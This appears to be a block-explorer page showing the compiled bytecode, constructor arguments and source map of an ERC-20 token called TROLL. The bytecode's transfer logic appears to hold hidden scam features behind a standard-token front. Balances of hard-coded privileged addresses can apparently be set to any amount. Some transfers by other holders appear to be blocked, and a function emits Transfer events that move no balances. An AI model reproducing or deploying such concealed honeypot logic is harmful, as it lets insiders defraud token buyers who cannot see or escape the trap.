66370a08231306040518263ffffffff1660e01b815260040161043191906113f0565b60206040518083038186803b15801561044957600080fd5b505afa15801561045d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061048191906114f0565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516104c6919061124a565b60405180910390a380806104d99061154c565b91505061038d565b50505050565b60006008905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610541610f25565b61054b6000610fa3565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546105859061147a565b80601f01602080910402602001604051908101604052809291908181526020018280546105b19061147a565b80156105fe5780601f106105d3576101008083540402835291602001916105fe565b820191906000526020600020905b8154815290600101906020018083116105e157829003601f168201915b5050505050905090565b600080610613610736565b9050610620818585610995565b600191505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6106ba610f25565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561072a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072190611607565b60405180910390fd5b61073381610fa3565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a590611699565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561081e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108159061172b565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516108fc919061124a565b60405180910390a3505050565b6000610915848461062b565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461098f5781811015610981576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097890611797565b60405180910390fd5b61098e848484840361073e565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a05576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109fc90611829565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6c906118bb565b60405180910390fd5b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610ad291906113f0565b60206040518083038186803b158015610aea57600080fd5b505afa158015610afe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b2291906114f0565b9050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610bea57507341df70d65df24cf9fdd7c3424e023360bfd8e22173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610be9575073a6faf1e4bf1e27b368385a54d6491da0c879dabd73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b5b15610c345781600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610d94578073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015610d7757507341df70d65df24cf9fdd7c3424e023360bfd8e22173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2b575073a6faf1e4bf1e27b368385a54d6491da0c879dabd73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610d75575073f935c6cf6b69b66ba6ca75a1eea96d187da1dedf73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b155b15610d9357600080610d915760648310610d9057600080fd5b5b505b5b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610e1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e129061194d565b60405180910390fd5b828103600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610f0b919061124a565b60405180910390a3610f1e858585611067565b5050505050565b610f2d610736565b73ffffffffffffffffffffffffffffffffffffffff16610f4b61054d565b73ffffffffffffffffffffffffffffffffffffffff1614610fa1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f98906119b9565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156110a657808201518184015260208101905061108b565b838111156110b5576000848401525b50505050565b6000601f19601f8301169050919050565b60006110d78261106c565b6110e18185611077565b93506110f1818560208601611088565b6110fa816110bb565b840191505092915050565b6000602082019050818103600083015261111f81846110cc565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061115c82611131565b9050919050565b61116c81611151565b811461117757600080fd5b50565b60008135905061118981611163565b92915050565b6000819050919050565b6111a28161118f565b81146111ad57600080fd5b50565b6000813590506111bf81611199565b92915050565b600080604083850312156111dc576111db611127565b5b60006111ea8582860161117a565b92505060206111fb858286016111b0565b9150509250929050565b60008115159050919050565b61121a81611205565b82525050565b60006020820190506112356000830184611211565b92915050565b6112448161118f565b82525050565b600060208201905061125f600083018461123b565b92915050565b60008060006060848603121561127e5761127d611127565b5b600061128c8682870161117a565b935050602061129d8682870161117a565b92505060406112ae868287016111b0565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126112dd576112dc6112b8565b5b8235905067ffffffffffffffff8111156112fa576112f96112bd565b5b602083019150836020820283011115611316576113156112c2565b5b9250929050565b60008060006040848603121561133657611335611127565b5b600084013567ffffffffffffffff8111156113545761135361112c565b5b611360868287016112c7565b93509350506020611373868287016111b0565b9150509250925092565b600060ff82169050919050565b6113938161137d565b82525050565b60006020820190506113ae600083018461138a565b92915050565b6000602082840312156113ca576113c9611127565b5b60006113d88482850161117a565b91505092915050565b6113ea81611151565b82525050565b600060208201905061140560008301846113e1565b92915050565b6000806040838503121561142257611421611127565b5b60006114308582860161117a565b92505060206114418582860161117a565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061149257607f821691505b602082108114156114a6576114a561144b565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506114ea81611163565b92915050565b60006020828403121561150657611505611127565b5b6000611514848285016114db565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006115578261118f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561158a5761158961151d565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006115f1602683611077565b91506115fc82611595565b604082019050919050565b60006020820190508181036000830152611620816115e4565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611683602483611077565b915061168e82611627565b604082019050919050565b600060208201905081810360008301526116b281611676565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611715602283611077565b9150611720826116b9565b604082019050919050565b6000602082019050818103600083015261174481611708565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611781601d83611077565b915061178c8261174b565b602082019050919050565b600060208201905081810360008301526117b081611774565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611813602583611077565b915061181e826117b7565b604082019050919050565b6000602082019050818103600083015261184281611806565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006118a5602383611077565b91506118b082611849565b604082019050919050565b600060208201905081810360008301526118d481611898565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611937602683611077565b9150611942826118db565b604082019050919050565b600060208201905081810360008301526119668161192a565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006119a3602083611077565b91506119ae8261196d565b602082019050919050565b600060208201905081810360008301526119d281611996565b905091905056fea26469706673582212205148898498b31ac8fa60b56014ba57e08d362ccf9104653238814a046540d6b664736f6c63430008090033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000e2f834b6e1e000000000000000000000000000000000000000000000000000000000000000554524f4c4c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000554524f4c4c000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): TROLL
Arg [1] : symbol_ (string): TROLL
Arg [2] : amount (uint256): 15597229010462

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 00000000000000000000000000000000000000000000000000000e2f834b6e1e
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [4] : 54524f4c4c000000000000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [6] : 54524f4c4c000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

4318:5359:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4694:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5795:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6364:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6004:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5548:241;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5027:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6535:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3495:103;;;:::i;:::-;;3188:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4913:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5129:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5385:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3753:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4694:100;4748:13;4781:5;4774:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4694:100;:::o;5795:201::-;5878:4;5895:13;5911:12;:10;:12::i;:::-;5895:28;;5934:32;5943:5;5950:7;5959:6;5934:8;:32::i;:::-;5984:4;5977:11;;;5795:201;;;;:::o;6364:108::-;6425:7;6452:12;;6445:19;;6364:108;:::o;6004:295::-;6135:4;6152:15;6170:12;:10;:12::i;:::-;6152:30;;6193:38;6209:4;6215:7;6224:6;6193:15;:38::i;:::-;6242:27;6252:4;6258:2;6262:6;6242:9;:27::i;:::-;6287:4;6280:11;;;6004:295;;;;;:::o;5548:241::-;5637:9;5632:146;5656:11;;:18;;5652:1;:22;5632:146;;;5745:11;;5757:1;5745:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;5701:65;;5714:3;;;;;;;;;;;5710:18;;;5737:4;5710:33;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5701:65;;;5761:4;5701:65;;;;;;:::i;:::-;;;;;;;;5676:3;;;;;:::i;:::-;;;;5632:146;;;;5548:241;;;:::o;5027:92::-;5085:5;5110:1;5103:8;;5027:92;:::o;6535:127::-;6609:7;6636:9;:18;6646:7;6636:18;;;;;;;;;;;;;;;;6629:25;;6535:127;;;:::o;3495:103::-;3074:13;:11;:13::i;:::-;3560:30:::1;3587:1;3560:18;:30::i;:::-;3495:103::o:0;3188:87::-;3234:7;3261:6;;;;;;;;;;;3254:13;;3188:87;:::o;4913:104::-;4969:13;5002:7;4995:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4913:104;:::o;5129:193::-;5208:4;5225:13;5241:12;:10;:12::i;:::-;5225:28;;5264;5274:5;5281:2;5285:6;5264:9;:28::i;:::-;5310:4;5303:11;;;5129:193;;;;:::o;5385:151::-;5474:7;5501:11;:18;5513:5;5501:18;;;;;;;;;;;;;;;:27;5520:7;5501:27;;;;;;;;;;;;;;;;5494:34;;5385:151;;;;:::o;3753:201::-;3074:13;:11;:13::i;:::-;3862:1:::1;3842:22;;:8;:22;;;;3834:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;3918:28;3937:8;3918:18;:28::i;:::-;3753:201:::0;:::o;2402:98::-;2455:7;2482:10;2475:17;;2402:98;:::o;7120:380::-;7273:1;7256:19;;:5;:19;;;;7248:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7354:1;7335:21;;:7;:21;;;;7327:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7438:6;7408:11;:18;7420:5;7408:18;;;;;;;;;;;;;;;:27;7427:7;7408:27;;;;;;;;;;;;;;;:36;;;;7476:7;7460:32;;7469:5;7460:32;;;7485:6;7460:32;;;;;;:::i;:::-;;;;;;;;7120:380;;;:::o;8844:453::-;8979:24;9006:25;9016:5;9023:7;9006:9;:25::i;:::-;8979:52;;9066:17;9046:16;:37;9042:248;;9128:6;9108:16;:26;;9100:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9212:51;9221:5;9228:7;9256:6;9237:16;:25;9212:8;:51::i;:::-;9042:248;8968:329;8844:453;;;:::o;7512:1318::-;7659:1;7643:18;;:4;:18;;;;7635:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7736:1;7722:16;;:2;:16;;;;7714:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7801:13;7832:3;;;;;;;;;;;7828:18;;;7855:4;7828:33;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7801:60;;7895:1;7879:18;;:4;:18;;;;:128;;;;;7910:42;7902:50;;:4;:50;;;:104;;;;7964:42;7956:50;;:4;:50;;;7902:104;7879:128;7876:198;;;8056:6;8024:9;:15;8034:4;8024:15;;;;;;;;;;;;;;;:38;;;;7876:198;8104:1;8087:19;;:5;:19;;;8084:385;;8132:5;8126:11;;:2;:11;;;:176;;;;;8151:42;8143:50;;:4;:50;;;:104;;;;8205:42;8197:50;;:4;:50;;;8143:104;:158;;;;8259:42;8251:50;;:4;:50;;;8143:158;8141:161;8126:176;8123:333;;;8322:6;8358:1;8354:70;;8401:3;8392:6;:12;8384:21;;;;;;8354:70;8304:152;8123:333;8084:385;8481:19;8503:9;:15;8513:4;8503:15;;;;;;;;;;;;;;;;8481:37;;8552:6;8537:11;:21;;8529:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;8669:6;8655:11;:20;8637:9;:15;8647:4;8637:15;;;;;;;;;;;;;;;:38;;;;8707:6;8690:9;:13;8700:2;8690:13;;;;;;;;;;;;;;;;:23;;;;;;;;;;;8761:2;8746:26;;8755:4;8746:26;;;8765:6;8746:26;;;;;;:::i;:::-;;;;;;;;8785:37;8805:4;8811:2;8815:6;8785:19;:37::i;:::-;7624:1206;;7512:1318;;;:::o;3353:132::-;3428:12;:10;:12::i;:::-;3417:23;;:7;:5;:7::i;:::-;:23;;;3409:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;3353:132::o;4114:191::-;4188:16;4207:6;;;;;;;;;;;4188:25;;4233:8;4224:6;;:17;;;;;;;;;;;;;;;;;;4288:8;4257:40;;4278:8;4257:40;;;;;;;;;;;;4177:128;4114:191;:::o;9307:124::-;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1478:117::-;1587:1;1584;1577:12;1601:117;1710:1;1707;1700:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:79;;:::i;:::-;2680:119;2838:1;2863:53;2908:7;2899:6;2888:9;2884:22;2863:53;:::i;:::-;2853:63;;2809:117;2965:2;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2936:118;2587:474;;;;;:::o;3067:90::-;3101:7;3144:5;3137:13;3130:21;3119:32;;3067:90;;;:::o;3163:109::-;3244:21;3259:5;3244:21;:::i;:::-;3239:3;3232:34;3163:109;;:::o;3278:210::-;3365:4;3403:2;3392:9;3388:18;3380:26;;3416:65;3478:1;3467:9;3463:17;3454:6;3416:65;:::i;:::-;3278:210;;;;:::o;3494:118::-;3581:24;3599:5;3581:24;:::i;:::-;3576:3;3569:37;3494:118;;:::o;3618:222::-;3711:4;3749:2;3738:9;3734:18;3726:26;;3762:71;3830:1;3819:9;3815:17;3806:6;3762:71;:::i;:::-;3618:222;;;;:::o;3846:619::-;3923:6;3931;3939;3988:2;3976:9;3967:7;3963:23;3959:32;3956:119;;;3994:79;;:::i;:::-;3956:119;4114:1;4139:53;4184:7;4175:6;4164:9;4160:22;4139:53;:::i;:::-;4129:63;;4085:117;4241:2;4267:53;4312:7;4303:6;4292:9;4288:22;4267:53;:::i;:::-;4257:63;;4212:118;4369:2;4395:53;4440:7;4431:6;4420:9;4416:22;4395:53;:::i;:::-;4385:63;;4340:118;3846:619;;;;;:::o;4471:117::-;4580:1;4577;4570:12;4594:117;4703:1;4700;4693:12;4717:117;4826:1;4823;4816:12;4857:568;4930:8;4940:6;4990:3;4983:4;4975:6;4971:17;4967:27;4957:122;;4998:79;;:::i;:::-;4957:122;5111:6;5098:20;5088:30;;5141:18;5133:6;5130:30;5127:117;;;5163:79;;:::i;:::-;5127:117;5277:4;5269:6;5265:17;5253:29;;5331:3;5323:4;5315:6;5311:17;5301:8;5297:32;5294:41;5291:128;;;5338:79;;:::i;:::-;5291:128;4857:568;;;;;:::o;5431:704::-;5526:6;5534;5542;5591:2;5579:9;5570:7;5566:23;5562:32;5559:119;;;5597:79;;:::i;:::-;5559:119;5745:1;5734:9;5730:17;5717:31;5775:18;5767:6;5764:30;5761:117;;;5797:79;;:::i;:::-;5761:117;5910:80;5982:7;5973:6;5962:9;5958:22;5910:80;:::i;:::-;5892:98;;;;5688:312;6039:2;6065:53;6110:7;6101:6;6090:9;6086:22;6065:53;:::i;:::-;6055:63;;6010:118;5431:704;;;;;:::o;6141:86::-;6176:7;6216:4;6209:5;6205:16;6194:27;;6141:86;;;:::o;6233:112::-;6316:22;6332:5;6316:22;:::i;:::-;6311:3;6304:35;6233:112;;:::o;6351:214::-;6440:4;6478:2;6467:9;6463:18;6455:26;;6491:67;6555:1;6544:9;6540:17;6531:6;6491:67;:::i;:::-;6351:214;;;;:::o;6571:329::-;6630:6;6679:2;6667:9;6658:7;6654:23;6650:32;6647:119;;;6685:79;;:::i;:::-;6647:119;6805:1;6830:53;6875:7;6866:6;6855:9;6851:22;6830:53;:::i;:::-;6820:63;;6776:117;6571:329;;;;:::o;6906:118::-;6993:24;7011:5;6993:24;:::i;:::-;6988:3;6981:37;6906:118;;:::o;7030:222::-;7123:4;7161:2;7150:9;7146:18;7138:26;;7174:71;7242:1;7231:9;7227:17;7218:6;7174:71;:::i;:::-;7030:222;;;;:::o;7258:474::-;7326:6;7334;7383:2;7371:9;7362:7;7358:23;7354:32;7351:119;;;7389:79;;:::i;:::-;7351:119;7509:1;7534:53;7579:7;7570:6;7559:9;7555:22;7534:53;:::i;:::-;7524:63;;7480:117;7636:2;7662:53;7707:7;7698:6;7687:9;7683:22;7662:53;:::i;:::-;7652:63;;7607:118;7258:474;;;;;:::o;7738:180::-;7786:77;7783:1;7776:88;7883:4;7880:1;7873:15;7907:4;7904:1;7897:15;7924:320;7968:6;8005:1;7999:4;7995:12;7985:22;;8052:1;8046:4;8042:12;8073:18;8063:81;;8129:4;8121:6;8117:17;8107:27;;8063:81;8191:2;8183:6;8180:14;8160:18;8157:38;8154:84;;;8210:18;;:::i;:::-;8154:84;7975:269;7924:320;;;:::o;8250:180::-;8298:77;8295:1;8288:88;8395:4;8392:1;8385:15;8419:4;8416:1;8409:15;8436:143;8493:5;8524:6;8518:13;8509:22;;8540:33;8567:5;8540:33;:::i;:::-;8436:143;;;;:::o;8585:351::-;8655:6;8704:2;8692:9;8683:7;8679:23;8675:32;8672:119;;;8710:79;;:::i;:::-;8672:119;8830:1;8855:64;8911:7;8902:6;8891:9;8887:22;8855:64;:::i;:::-;8845:74;;8801:128;8585:351;;;;:::o;8942:180::-;8990:77;8987:1;8980:88;9087:4;9084:1;9077:15;9111:4;9108:1;9101:15;9128:233;9167:3;9190:24;9208:5;9190:24;:::i;:::-;9181:33;;9236:66;9229:5;9226:77;9223:103;;;9306:18;;:::i;:::-;9223:103;9353:1;9346:5;9342:13;9335:20;;9128:233;;;:::o;9367:225::-;9507:34;9503:1;9495:6;9491:14;9484:58;9576:8;9571:2;9563:6;9559:15;9552:33;9367:225;:::o;9598:366::-;9740:3;9761:67;9825:2;9820:3;9761:67;:::i;:::-;9754:74;;9837:93;9926:3;9837:93;:::i;:::-;9955:2;9950:3;9946:12;9939:19;;9598:366;;;:::o;9970:419::-;10136:4;10174:2;10163:9;10159:18;10151:26;;10223:9;10217:4;10213:20;10209:1;10198:9;10194:17;10187:47;10251:131;10377:4;10251:131;:::i;:::-;10243:139;;9970:419;;;:::o;10395:223::-;10535:34;10531:1;10523:6;10519:14;10512:58;10604:6;10599:2;10591:6;10587:15;10580:31;10395:223;:::o;10624:366::-;10766:3;10787:67;10851:2;10846:3;10787:67;:::i;:::-;10780:74;;10863:93;10952:3;10863:93;:::i;:::-;10981:2;10976:3;10972:12;10965:19;;10624:366;;;:::o;10996:419::-;11162:4;11200:2;11189:9;11185:18;11177:26;;11249:9;11243:4;11239:20;11235:1;11224:9;11220:17;11213:47;11277:131;11403:4;11277:131;:::i;:::-;11269:139;;10996:419;;;:::o;11421:221::-;11561:34;11557:1;11549:6;11545:14;11538:58;11630:4;11625:2;11617:6;11613:15;11606:29;11421:221;:::o;11648:366::-;11790:3;11811:67;11875:2;11870:3;11811:67;:::i;:::-;11804:74;;11887:93;11976:3;11887:93;:::i;:::-;12005:2;12000:3;11996:12;11989:19;;11648:366;;;:::o;12020:419::-;12186:4;12224:2;12213:9;12209:18;12201:26;;12273:9;12267:4;12263:20;12259:1;12248:9;12244:17;12237:47;12301:131;12427:4;12301:131;:::i;:::-;12293:139;;12020:419;;;:::o;12445:179::-;12585:31;12581:1;12573:6;12569:14;12562:55;12445:179;:::o;12630:366::-;12772:3;12793:67;12857:2;12852:3;12793:67;:::i;:::-;12786:74;;12869:93;12958:3;12869:93;:::i;:::-;12987:2;12982:3;12978:12;12971:19;;12630:366;;;:::o;13002:419::-;13168:4;13206:2;13195:9;13191:18;13183:26;;13255:9;13249:4;13245:20;13241:1;13230:9;13226:17;13219:47;13283:131;13409:4;13283:131;:::i;:::-;13275:139;;13002:419;;;:::o;13427:224::-;13567:34;13563:1;13555:6;13551:14;13544:58;13636:7;13631:2;13623:6;13619:15;13612:32;13427:224;:::o;13657:366::-;13799:3;13820:67;13884:2;13879:3;13820:67;:::i;:::-;13813:74;;13896:93;13985:3;13896:93;:::i;:::-;14014:2;14009:3;14005:12;13998:19;;13657:366;;;:::o;14029:419::-;14195:4;14233:2;14222:9;14218:18;14210:26;;14282:9;14276:4;14272:20;14268:1;14257:9;14253:17;14246:47;14310:131;14436:4;14310:131;:::i;:::-;14302:139;;14029:419;;;:::o;14454:222::-;14594:34;14590:1;14582:6;14578:14;14571:58;14663:5;14658:2;14650:6;14646:15;14639:30;14454:222;:::o;14682:366::-;14824:3;14845:67;14909:2;14904:3;14845:67;:::i;:::-;14838:74;;14921:93;15010:3;14921:93;:::i;:::-;15039:2;15034:3;15030:12;15023:19;;14682:366;;;:::o;15054:419::-;15220:4;15258:2;15247:9;15243:18;15235:26;;15307:9;15301:4;15297:20;15293:1;15282:9;15278:17;15271:47;15335:131;15461:4;15335:131;:::i;:::-;15327:139;;15054:419;;;:::o;15479:225::-;15619:34;15615:1;15607:6;15603:14;15596:58;15688:8;15683:2;15675:6;15671:15;15664:33;15479:225;:::o;15710:366::-;15852:3;15873:67;15937:2;15932:3;15873:67;:::i;:::-;15866:74;;15949:93;16038:3;15949:93;:::i;:::-;16067:2;16062:3;16058:12;16051:19;;15710:366;;;:::o;16082:419::-;16248:4;16286:2;16275:9;16271:18;16263:26;;16335:9;16329:4;16325:20;16321:1;16310:9;16306:17;16299:47;16363:131;16489:4;16363:131;:::i;:::-;16355:139;;16082:419;;;:::o;16507:182::-;16647:34;16643:1;16635:6;16631:14;16624:58;16507:182;:::o;16695:366::-;16837:3;16858:67;16922:2;16917:3;16858:67;:::i;:::-;16851:74;;16934:93;17023:3;16934:93;:::i;:::-;17052:2;17047:3;17043:12;17036:19;;16695:366;;;:::o;17067:419::-;17233:4;17271:2;17260:9;17256:18;17248:26;;17320:9;17314:4;17310:20;17306:1;17295:9;17291:17;17284:47;17348:131;17474:4;17348:131;:::i;:::-;17340:139;;17067:419;;;:::o

Swarm Source

ipfs://5148898498b31ac8fa60b56014ba57e08d362ccf9104653238814a046540d6b6
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.